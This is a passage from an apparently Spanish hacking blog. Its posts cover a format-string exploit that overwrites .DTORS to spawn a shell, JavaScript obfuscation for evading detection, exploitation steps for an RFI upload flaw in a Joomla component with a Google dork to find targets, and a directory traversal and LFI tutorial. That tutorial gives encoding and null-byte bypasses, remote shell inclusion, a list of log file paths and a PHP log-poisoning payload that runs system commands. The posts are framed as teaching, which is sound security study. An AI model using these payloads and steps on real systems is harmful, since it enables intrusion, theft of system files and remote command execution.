/>sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./dtors_poc<br /><br />08049f20 d _DYNAMIC<br />08049ff4 d _GLOBAL_OFFSET_TABLE_<br />080484dc R _IO_stdin_used<br /> w _Jv_RegisterClasses<br />08049f0c d __CTOR_END__<br />08049f04 d __CTOR_LIST__<br />08049f18 D __DTOR_END__<br />08049f10 d __DTOR_LIST__<br />08048590 r __FRAME_END__<br />08049f1c d __JCR_END__<br />08049f1c d __JCR_LIST__<br />0804a014 A __bss_start<br />0804a00c D __data_start<br />08048490 t __do_global_ctors_aux<br />08048340 t __do_global_dtors_aux<br />0804a010 D __dso_handle<br /> w __gmon_start__<br />0804848a T __i686.get_pc_thunk.bx<br />08049f04 d __init_array_end<br />08049f04 d __init_array_start<br />08048420 T __libc_csu_fini<br />08048430 T __libc_csu_init<br /> U __libc_start_main@@GLIBC_2.0<br />0804a014 A _edata<br />0804a01c A _end<br />080484bc T _fini<br />080484d8 R _fp_hw<br />08048294 T _init<br />08048310 T _start<br />0804a014 b completed.6635<br />080483c4 t construir<br />0804a00c W data_start<br />080483fe t destruir<br />0804a018 b dtor_idx.6637<br />080483a0 t frame_dummy<br />080483d8 T main<br /> U puts@@GLIBC_2.0<br /></blockquote><br /><br />El comando objdump vamos a pasarlo con las opciones:<br /> <ul><li><b>j</b> - Mostramos solo información para la sección que indiquemos, en nuestro caso será la sección .dtors.</li><li><b>s</b> - Indicamos que deseamos obtener toda la información posible sobre las secciones indicadas.</li></ul><br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -s -j .dtors ./dtors_poc<br /><br />./dtors_poc: file format elf32-i386<br /><br />Contents of section .dtors:<br /> 8049f10 ffffffff fe830408 00000000 ............ <br /></blockquote><br /><br /><br />Como comentábamos al principio, si hacemos un objdump a las cabeceras de sección, observaremos que la sección .DTORS <b>no está etiquetada como sólo lectura</b> (<i>READONLY</i>), para esto nos apoyaremos en la opción <b>-h</b> encargada de mostrarnos la información albergada en las cabeceras de las distintas secciones que componen nuestro fichero objeto.<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -h ./dtors_poc<br /> ...<br /> 4 .dynsym 00000050 080481b0 080481b0 000001b0 2**2<br /> CONTENTS, ALLOC, LOAD, READONLY, DATA<br /> ...<br /> 17 .dtors 0000000c 08049f10 08049f10 00000f10 2**2<br /> CONTENTS, ALLOC, LOAD, DATA<br /></blockquote><br /><br />Al principio de tratar esta sección hablábamos sobre la posibilidad de sobreescribir una dirección de memoria y encauzar el flujo de ejecución de nuestra aplicación hacia esa dirección, de esta forma comentábamos que se podría ejecutar nuestra shellcode, aprendamos cómo hacerlo, pero antes debemos escribir el siguiente format string con DPA tal y como indicamos en la apartado anterior:<br /><br /><blockquote><br />"%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n"<br /></blockquote><br /><br />Con esto escribiremos en la dirección <b>0xbffff5e0</b>, que apunta a nuestra shellcode a través de la variable "<b>valor</b>".</br><br /><br />El siguiente paso será construir nuestro buffer con las direcciones a ser escritas, para este ejemplo un buen comienzo podría ser la <b>dirección donde está contenido el buffer de la sección .DTORS</b>:<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./fst_example | grep DTOR<br /><br />0804954c d __DTOR_END__<br />08049548 d __DTOR_LIST__<br /></blockquote><br /><br />Quedando el buffer:<br /><br /><blockquote><br />"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"<br /></blockquote><br /><br />Comprobemos si funciona:<br /><br /><blockquote><br />sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf <br />"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"<br />`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n<br /><br />Correcto:<br />L�M�N�O�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n<br />Incorrecto:<br />L�M�N�O� 804954c 804954c 804954c 804954c<br />(-) Valor @ 0x08049648 = 50 0x00000032<br /><br />sh-2.05b$<br /></blockquote><br /><br />Listo, hemos conseguido sobreescribir correctamente nuestra sección .DTORS y ejecutar nuestra shellcode.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-91416152498895142512010-11-04T12:12:00.000-07:002010-11-04T16:14:57.194-07:00Ofuscando código JavaScript I de III - IntroducciónNueva serie de entradas relacionadas con la ofuscación de código JavaScript y de diferentes técnicas que pueden ser utilizadas para explotar vulnerabilidades:<div><ul><li><b>Ofuscando código JavaScript I de III</b> - Explicación de conceptos generales y cómo combinar la ofuscación con iFrames, Malware Kits, y XSS.</li><li><b>Ofuscando código JavaScript II de III</b> - Combinar ofuscación de código con SQL Injection, Wigets, SWF Redirection y Heap Spray</li><li><b>Ofuscando código JavaScript III de III </b>- Explicaremos cómo combatir estas técnicas y mostraremos herramientas que nos ofusquen y desofusquen automáticamente nuestro código.</li></ul><br /><h1>Introducción</h1><br />Una de las técnicas más usadas por los atacantes para explotar vulnerabilidades en los navegadores es la ofuscación de scripts.<br /><br />Los scripts que son ejecutados en la parte del cliente suelen estar escritos en Perl, JavaScript, VBScript, ofuscando el código se consigue complicar la tarea de comprender, estudiar o analizar la funcionalidad del mismo.<br /><br />Esto ha conseguido que sea u<b>na de las técnicas más utilizadas</b> cuando se habla de malware desarrollado específicamente para objetivos web.<br /><br />El objetivo es <b>transformar el código en algo totalmente incomprensible</b> mientras se transfiere desde el servidor web hasta el navegador del cliente, pero siempre manteniendo su funcionalidad.<br /><br />Para dar un ejemplo real, vamos a utilizar una función en JavaScript encargada de calcular el factorial de un número y vamos a explicar cada una de los puntos que se ha de seguir para ofuscar correctamente el código de forma que quede totalmente críptico para un usuario pero <b>sin que se vea afectado su propósito</b>.<br /><br /><a href="http://pastebin.com/8BAFPGdZ">Este código</a> tiene un uso sencillo, pasamos dos parámetros a nuestra función, y esta se encarga de mostrar el factorial para el valor dado.<br /><br /></div><div><br /><h1>Ofuscando</h1><div><br /></div>Para poder ofuscar nuestro código correctamente podemos seguir los siguientes puntos:<br /><br /><ul><li>Cambiar el nombre de las variables utilizadas en el código por caracteres sin sentido por ejemplo "<b>factorial</b>" puede llamarse "<b>ZmFjdG9yaWFs</b>".</li><li>Reemplazar constantes o valores numéricos por expresiones, así "<b>485</b>" puede ser "<b>0x16c1+3640-0x2314</b>".</li><li>Reemplazar los caracteres de los strings por sus valores hexadecimales correspondientes, así "<b>javascript</b>" será "<b>\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74</b>".</li><li>Eliminar cualquier espacio o indentación existente en el código, de forma que este quede más compacto y sea más complicado de leer.</li><li>Eliminar cualquier anotación o comentario en el código que pueda dar pistas al usuario de la funcionalidad del mismo.</li></ul><br />Si aplicamos estos apartados al código anteriormente descrito, legible y fácil de seguir la traza, obtendremos el <a href="http://pastebin.com/kuQv9muQ">siguiente resultado</a> que <b>realiza exactamente el mismo cometido</b>.<br /><br />Como veis, el código queda completamente <b>ilegible</b>, y esta es una técnica muy usada para <b>evadir las firmas de detección</b> utilizadas por aplicaciones de seguridad como los IPS (<b>Intrusion Prevention Systems</b>), escáneres de Malware o las aplicaciones de filtrado, por mencionar algunos ejemplos.<br /><br />Pero esto es solo un pequeño ejemplo, podemos encontrarnos con casos en los que existan varios scrips ofuscados y tener variables que dependan de la desofuscación de otros scripts para realizar su cometido.<br /><br />Todo esto es relativo, pudiendo llegar a ser un proceso tan complejo como el atacante quiera.<br /><br /></div><div><br /><span class="Apple-style-span" style="font-size: 32px; font-weight: bold; ">Usando iFrames</span><br /><br /></div><div><br />No deja de ser una página web HTML, con la peculiaridad de que permite insertar una página dentro de otra. Esto ha provocado que se convierta en <b>una de las técnicas preferidas por los atacantes para inyectar malware</b> en las aplicaciones web.<br /><br />Al ser tan flexibles permiten pasar desapercibidos ocultándose del resto de elementos en la página, convirtiéndose en una alternativa ideal para ocultar código javascript ofuscado que se aproveche de alguna vulnerabilidad inyectando su código al ser incrustado entre el resto de etiquetas HTML.<br /><br />Podéis ver un ejemplo <a href="http://pastebin.com/k2q3Db0b">aquí</a> y <a href="http://pastebin.com/p1w8u0Mm">aquí</a>. Este último hace uso de la función JavaScript <b>unescape()</b> encargada de decodificar URL Encode Strings, en otras palabras se encarga de decodificar un parámetro que fue codificado con la función de JavaScript <b>encode()</b>.<br /><br />Su funcionamiento consiste en encontrar parejas de 2 o 4 caracteres hexadecimales e intercambiarlos por su representación en Latin-1, de esta forma <b>%20</b> es el equivalente al espacio, <b>%21</b> una exclamación, <b>%22</b> es el equivalente a la comilla doble, etc.<br /><br />Un ejemplo de las funciones sería:<div><br /></div><div><ul><li><b>escape</b><i>("URL a codificar")</i> quedaría <i>%22URL%20a%20codificar%22</i></li><li><b>unescape</b><i>(%22URL%20a%20codificar%22)</i> quedaría <i>"URL a codificar"</i></li></ul><br />El contenido del código anteriormente mostrado es en realidad el <a href="http://pastebin.com/HVLhdFkV">siguiente</a>, pasando los caracteres codificados a su valor original obtendríamos lo <a href="http://pastebin.com/zdscf0gK">siguiente</a>. De esta forma se está utilizando un iframe para cargar un recurso externo.</div><div><br /></div><br /><h1>Web Based Malware Kits</h1><div><br /></div>Desde aproximadamente 2005, se han ido sucediendo diversos packs de exploits que se aprovechan de vulnerabilidades en los navegadores y componentes flash para explotarlos y conseguir ejecutar código remoto.<br /><br />Operan aprovechándose de la técnica comentada anteriormente, redirigiendo la acción del navegador de la víctima hacia un servidor que esté ejecutando una copia del malware, de forma que al acceder a la misma este <b>quede infectado</b> si no se utiliza un antivirus actualizado.<br /><br />Además en cada nueva actualización que sacan suelen añadirse nuevas características que <b>ofuscan aun más el código</b> e implementen<b> heurísticas de evasión</b> para saltarse las firmas de antivirus. Se consiguen crear exploits dirigidos a determinados navegadores y sistemas operativos, y se incrementa brutalmente el porcentaje de éxito del ataque.<br /><br />Una vez la fase de infección y explotación ha sido realizada satisfactoriamente, se procede a la <b>descarga de nuevo malware</b>, sin que el usuario tenga conocimiento de ello, creando un nido de infección preocupante. En este momento <b>la víctima ha sido comprometido sin darse cuenta</b>.</div><div><br /></div><div>Un lugar donde podéis informaros más ampliamente sobre esto, es en el otro lugar donde escribo a veces, <a href="http://malwareint.com/">Malware Intelligence</a>.<br /><h1><br /></h1><h1>Cross Site Scripting (XSS)</h1><div><br /></div><div>Si hemos de hablar de una de las <b>mayores vulnerabilidades</b> en aplicaciones web usadas para propósitos maliciosos, esa es Cross Site Scripting o XSS para los colegas.</div><div><br /></div><div>Esta permite a un atacante <b>alterar o modificar el código fuente de la aplicación</b>, resultando en una ampliación del ataque y en la infección de un mayor número de usuarios potenciales:</div><div><br /></div><div><ul><li>Una vez que ha tenido éxito el ataque, <b>la fase de propagación</b> puede realizarse tan rápida como lo hizo el gusano Blaster, Slammer, etc... Un ejemplo de esto lo tenéis en el<a href="http://threatpost.com/es_la/blogs/twitter-sufre-ataques-en-una-falla-xss-090710"> gusano que afecto a Twitter</a> hace poco.</li><li>La detección y explotación de una vulnerabilidad no conocida puede <b>desencadenar en consecuencias desastrosas</b>. Propagando la infección de malware en sitios de confianza.<br /><br />Un ejemplo lo tenéis con el último ataque dirigido al sitio de Kaspersky que <a href="https://cert.s21sec.com/index.php?option=com_content&view=article&id=544:hackean-la-web-de-kaspersky&catid=53:otros&Itemid=69&lang=es">estuvo durante tres horas distribuyendo malware</a> desde su página de inicio. Actualmente un 80% de los sitios web presentan este tipo de vulnerabilidades, y en la mayoría de los casos son despojadas de importancia (<i>así se las meten luego ;D</i>).</li><li>Es común que sitios como redes sociales, foros, chats, correos, sean los objetivos escogido para perpretar un ataque <b>debido al brutal tráfico que reciben</b>.</li><li>Se trata de una vulnerabilidad capaz de causar un impacto considerable y perjudicial <b>sin necesidad de estar presente en un determinado navegador o sistema operativo</b>.</li></ul><div><br /></div><div>Estas se producen cuando la entrada dada por un usuario es <b>aceptada y no se valida</b>, transmitiéndose al lado del cliente con una codificación incorrecta. Esta situación provoca que se ejecuten secuencias de comandos malintencionados.</div></div><div><br /></div><div>Normalmente suele aparecer en las páginas dinámicas que <b>no suelen tener un control exhaustivo sobre sus salidas ni sobre cómo procesan internamente la entrada de datos</b>. Para entenderlo supongamos que un atacante envía el siguiente <a href="http://pastebin.com/zJ43LCkW">código malicioso</a>, cuando la víctima haga click sobre el vínculo se abrirá un enlace hacia la dirección apuntada junto con el código contenido entre las etiquetas script.<br /><br />El resultado podría ser una simple ventana de alerta mostrándote el típico mensaje de "XSS" al que todos les restamos importancia, pero también podría ser una<b> combinación con cualquiera de las técnicas que comentábamos más arriba.</b></div></div>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-9196352698689162458.post-75163729175226408472010-10-29T20:11:00.000-07:002010-10-29T20:43:43.898-07:00Vulnerabilidad RFI en el com_jfuploader de JoomlaAl parecer una nueva vulnerabilidad RFI ha sido descubierta en el componente <b>com_jfupload</b> del CMS Joomla, dicho componente es el encargado de permitirnos la carga remota de ficheros.<br /><br /><br />Un atacante podría tratar de burlar el sistema e incrustar código malicioso para que fuese interpretado al acceder al recurso desde la parte del servidor.<div><br /></div><div>Un google dorks que funcione y nos arroje resultados válidos podría ser: <b>inurl:option=com_jfuploader</b><br /><br /><br />Y los pasos a seguir para llevar a cabo la explotación de la vulnerabilidad:<br /><br /><ul><li>Regístrate en el sistema.</li><li>Comprueba si se puede acceder a la siguiente url: http://xxx/<b>index.php?option=com_jfuploader&Itemid=[Itemid]</b></li><li>Descarga una imagen cualquiera.</li><li>Abre la imagen con el <b>Notepad++</b> y sin tocar nada del código relacionado con esta, inserta a partir de la última línea todo el código PHP que quieras que se ejecute.</li><li>Guarda el fichero con la extensión <b>.php.gif</b></li><li>Sube el fichero desde la URL indicada en el paso 2 y accede al recurso desde la siguiente dirección: http://xxx/files/TuNombreDeUsuario/NombreFichero<b>.gif.php</b></li></ul><br /><br /><br />Algunos ejemplos:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BcfTeHrlYdY/TMuUWurwsGI/AAAAAAAAAH4/fP9AIFshcGs/s1600/01.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 148px;" src="http://4.bp.blogspot.com/_BcfTeHrlYdY/TMuUWurwsGI/AAAAAAAAAH4/fP9AIFshcGs/s320/01.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5533679685364396130" /></a><br /><br />Mostramos el /etc/passwd, a través del siguiente <a href="http://pastebin.com/bGKP3aLs">código PHP</a>.<br /><br /><br />Y si no quedas satisfecho, aquí no te devolvemos el dinero, pero te avisamos de que también puedes cargar una shell:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TMuStxBewcI/AAAAAAAAAHw/Dp8-7LPLY1c/s1600/Pantallazo-1.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 105px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TMuStxBewcI/AAAAAAAAAHw/Dp8-7LPLY1c/s320/Pantallazo-1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5533677882106102210" /></a></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9196352698689162458.post-50819974038775578402010-10-13T16:45:00.000-07:002010-10-13T18:11:53.089-07:00Directory Path Traversal<h1>Introducción</h1>
<br />
<br />El objetivo de un Directory Path Traversal Attack es el de <b>conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz</b> y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.
<br />
<br />Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "<b>CGI root</b>" o "<b>Web Document Root</b>". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.
<br />
<br />Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "<b>dot-dot-slash</b>" o "<b>../</b>".
<br />
<br />Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.
<br />
<br />Los ataques de <i>DPT</i> suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:
<br />
<br /><ul><li><b>Local File Inclusion</b> (<i>LFI</i>) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.</li><li><b>Remote File Inclusion</b> (<i>RFI</i>) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.</li></ul>
<br />
<br /><h1>¿Qué implicaciones tiene esta vulnerabilidad?</h1>
<br />
<br />
<br />Cuando hacemos uso de funciones como <b>include</b>(), <b>include_once</b>(), <b>require</b>(), <b>require_once</b>() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:
<br />
<br /><ul><li>Ejecutar código remoto.</li><li>Tomar control del equipo vulnerable.</li></ul>
<br />
<br /><h1>Montando pruebas de caja negra</h1>
<br />
<br />A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:
<br />
<br /><ul><li><b>Vectores de enumeración</b> Consiste en una evaluación sistemática de cada vector de ataque.</li><li><b>Técnicas de testing</b> Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.</li></ul>
<br />
<br /><h2>Vectores de enumeración</h2>
<br />
<br />Para determinar qué partes de la aplicación son vulnerables, <b>el atacante necesita comprobar todas las vías que acepten datos del usuario</b>. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:
<br />
<br /><ul><li>¿Se usan parámetros relacionados con peticiones a ficheros?</li><li>¿Se usan extensiones de ficheros poco usuales?</li><li>¿Hay nombre de variables poco normales?</li></ul>
<br />
<br />Ejemplos:
<br />
<br /><ul><li>http://localhost/lab/perfil.php?fichero=0xroot.html</li><li>http://localhost/lab/index.php?fichero=passwd</li><li>http://localhost/lab/main.cgi?home=index.html</li></ul>
<br />
<br /><h2>Técnicas de testing</h2>
<br />
<br />El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "<b>../../../etc/passwd</b>" y volcar el contenido del fichero de claves de un sistema Unix.
<br />
<br />Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.
<br />
<br />En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (<i>lo que comentábamos de usar "<b>../</b>" o el <b>byte nulo</b> que veremos más adelante</i>). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.
<br />
<br /><ul><li>Sistemas Unix</li>
<br /><i>Directorio raíz</i>: /
<br /><i>Carácter Separador</i>: /
<br />
<br /><li>Sistemas Windows</li>
<br /><i>Directorio raíz</i>: Letra de Unidad:\
<br /><i>Carácter Separado</i>: \ ó /
<br /><i>Operadores mayor y menor que</i>: >, < <i>Comillas dobles</i>: "./" , ".\"</ul>
<br />
<br />Ejemplos:
<br /><ul><li>fichero.txt</li><li>fichero.txt...</li><li>fichero.txt<espacios></espacios></li><li>fichero.txt""""</li><li>fichero.txt<<<><><><</li><li>fichero.txt/./././</li></ul>
<br />
<br />A veces podemos encontrarnos con la necesidad de saltarnos filtros restrictivos, para ello podemos utilizar la codificación URL-Encode:
<br />
<br /><ul><li><b>%2e%2e%2</b> representa ../</li><li><b>%2e%2e/</b> representa ../</li><li><b>..%2f</b> representa ../</li><li><b>%2e%2e%5c</b> representa ..\</li><li><b>%2e%2e\</b> representa ..\</li><li><b>..%5c</b> representa ..\</li><li><b>%252e%252e%255c</b> representa ..\</li><li><b>..%255c</b> representa ..\</li></ul>
<br />
<br />Otras codificaciones que podemos usar son <b>UTF-8</b> o incluso la representación hexadecimal de los caracteres.
<br />
<br /><h1>El entorno de pruebas</h1>
<br />
<br />Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:
<br />
<br /><ul><li>dpt-example1.php [<a href="http://pastebin.com/i9BJjBGn">Pastebin</a>]</li><li>dpt-example2.php [<a href="http://pastebin.com/GFPqtmFe">Pastebin</a>]</li><li>dpt-example3.php [<a href="http://pastebin.com/3daLXwyB">Pastebin</a>]</li><li>index.php [<a href="http://pastebin.com/BnBjV2Mn">Pastebin</a>]</li></ul>
<br />
<br />Si hacemos una llamada sin pasar ningún argumento a "<b>recurso</b>" la URL introducida sería:
<br />
<br /><blockquote>http://localhost/lab/dpt-example1.php</blockquote>
<br />
<br />Obteniendo el mensaje de "<b>No se ha especificado el recurso</b>". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:
<br />
<br /><blockquote>http://localhost/lab/dpt-example1.php?recurso=index.php</blockquote>
<br />
<br />Obtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero <b>/etc/passwd</b>. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:
<br />
<br /><blockquote>http://localhost/lab/dpt-example1.php?recurso=/etc/passwd</blockquote>
<br />
<br />Lo que obtenemos es:<div>
<br /><img src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TLZGo-ZCvzI/AAAAAAAAAHA/oJ161TLduZY/s320/Pantallazo.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5527683262400610098" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 384px; height: 50px; " /></div>
<br />
<br />Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:
<br />
<br /><blockquote>http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0.1/lab/shells/c99.txt%00</blockquote>
<br />
<br /><h1>Usando el byte NULL</h1>
<br />
<br />El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (<a href="http://pastebin.com/3daLXwyB">dpt-example3.php</a>)
<br />
<br />Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:
<br />
<br /><blockquote>http://localhost/lab/dpt-example3.php?recurso=index</blockquote>
<br />
<br />Automáticamente nuestro código concatenará al valor pasado el string "<b>.php</b>", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:
<br />
<br />
<br /><blockquote>Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero ó directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3</blockquote>
<br />
<br /><blockquote>Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3</blockquote>
<br />
<br />El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos <b>lleven al final el carácter especial %00</b>, así para
<br />cargar el fichero /etc/passwd la URL quedará de la siguiente manera:
<br />
<br /><blockquote>http://localhost/lab/dpt-example3.php?recurso=/etc/passwd%00</blockquote>
<br />
<br />Con lo que obtendremos:
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZLdiEMslI/AAAAAAAAAHI/GqZNe6wtd2Y/s1600/Pantallazo2.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 52px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZLdiEMslI/AAAAAAAAAHI/GqZNe6wtd2Y/s320/Pantallazo2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5527688563376566866" /></a>
<br />
<br /><h1>Log Poisoning</h1>
<br />
<br />
<br />La técnica de Log Poisoning nos permite <b>inyectar código en un fichero de log y ejecutarlo normalmente vía LFI</b>. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados <b>access_log</b> y <b>error_log</b>. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.
<br />
<br />Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:
<br />
<br /><ul><li>/etc/httpd/logs/access.log</li><li>/etc/httpd/logs/access_log</li><li>/etc/httpd/logs/error.log</li><li>/etc/httpd/logs/error_log</li><li>/opt/lampp/logs/access_log</li><li>/opt/lampp/logs/error_log</li><li>/usr/local/apache/log</li><li>/usr/local/apache/logs</li><li>/usr/local/apache/logs/access.log</li><li>/var/log/httpd/access_log</li><li>/var/log/httpd/error_log</li><li>/var/log/httpsd/ssl.access_log</li><li>/var/log/httpsd/ssl_log</li><li>/var/log/thttpd_log</li><li>C:\Program Files\Apache Group\Apache\logs\access.log</li><li>C:\Program Files\Apache Group\Apache\logs\error.log</li><li>C:\xampp\apache\logs\access.log</li><li>C:\xampp\apache\logs\error.log</li><li>Y un largo etcétera...</li></ul>
<br />
<br />Una vez decidido el fichero sobre el que actuaremos, tenemos dos formas posibles de actuar:
<br />
<br /><ul><li><b>Accediendo al fichero error_log</b></li>
<br />
<br />Suponiendo que hemos encontrado una vulnerabilidad LFI tratamos de acceder a la siguiente URL inexistente que será almacenada en nuestro fichero de log:
<br />
<br /><blockquote>http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3E</blockquote>
<br />
<br />Si os dais cuenta se han sustituid los caracteres por su representación hexadecimal <b>%3C%3F</b> y <b>%3F%3E</b> respectivamente, dado que si tratamos de colar la url como tal, el código PHP no será guardado correctamente en el servidor, quedando esto:
<br />
<br /><blockquote>[Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<</blockquote>
<br />
<br />Sin embargo utilizando ese pequeño truco, conseguimos saltarnos el filtrado y se nos guardará la siguiente cadena en el fichero de log:
<br />
<br /><blockquote>[Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/</blockquote>
<br />
<br />Si ahora acudimos a nuestro código vulnerable y ejecutamos la siguiente URL:
<br />
<br /><blockquote>http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log%00&x=/&y=ls%20-l</blockquote>
<br />
<br />Obtendremos la ejecución del comando ls -l
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZMygpUdlI/AAAAAAAAAHQ/ADG_19CNu6o/s1600/Pantallazo-2.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 54px;" src="http://3.bp.blogspot.com/_BcfTeHrlYdY/TLZMygpUdlI/AAAAAAAAAHQ/ADG_19CNu6o/s320/Pantallazo-2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5527690023284274770" /></a>
<br />
<br /><li><b>Accediendo al fichero access_log</b></li>
<br />
<br />Más complicado que el ejemplo anterior, consiste en inyectar directamente el código php en el User-Agent del navegador, para ello vamos a utilizar el plugin "<b>User Agent Switcher</b>" para incrustar nuestro script en PHP en el User-Agent y nos apoyaremos en el plugin "<b>Live HTTP Header</b>" para ver el contenido de las cabeceras que sean enviadas por nuestro navegador.
<br />
<br />Deberá quedarnos de la siguiente manera:
<br />
<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BcfTeHrlYdY/TLZNVoijjFI/AAAAAAAAAHY/LVi9eQxKdXk/s1600/user-agent.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 384px; height: 220px;" src="http://2.bp.blogspot.com/_BcfTeHrlYdY/TLZNVoijjFI/AAAAAAAAAHY/LVi9eQxKdXk/s320/user-agent.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5527690626698808402" /></a>
<br />
<br />Haciendo una petición a la aplicación web vulnerable con la siguiente URL:
<br />
<br /><blockquote>http://localhost/lab/dpt-example2.php?recurso=</blockquote>
<br />
<br />Si observamos el log "<b>access_log</b>" se ha agregado una nueva entrada con el siguiente contenido:
<br />
<br /><blockquoet>127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556</blockquote>
<br />
<br />Si accedemos mediante la siguiente URL:
<br />
<br /><blockquote>http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00</blockquote>
<br />
<br />Y ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:
<br />
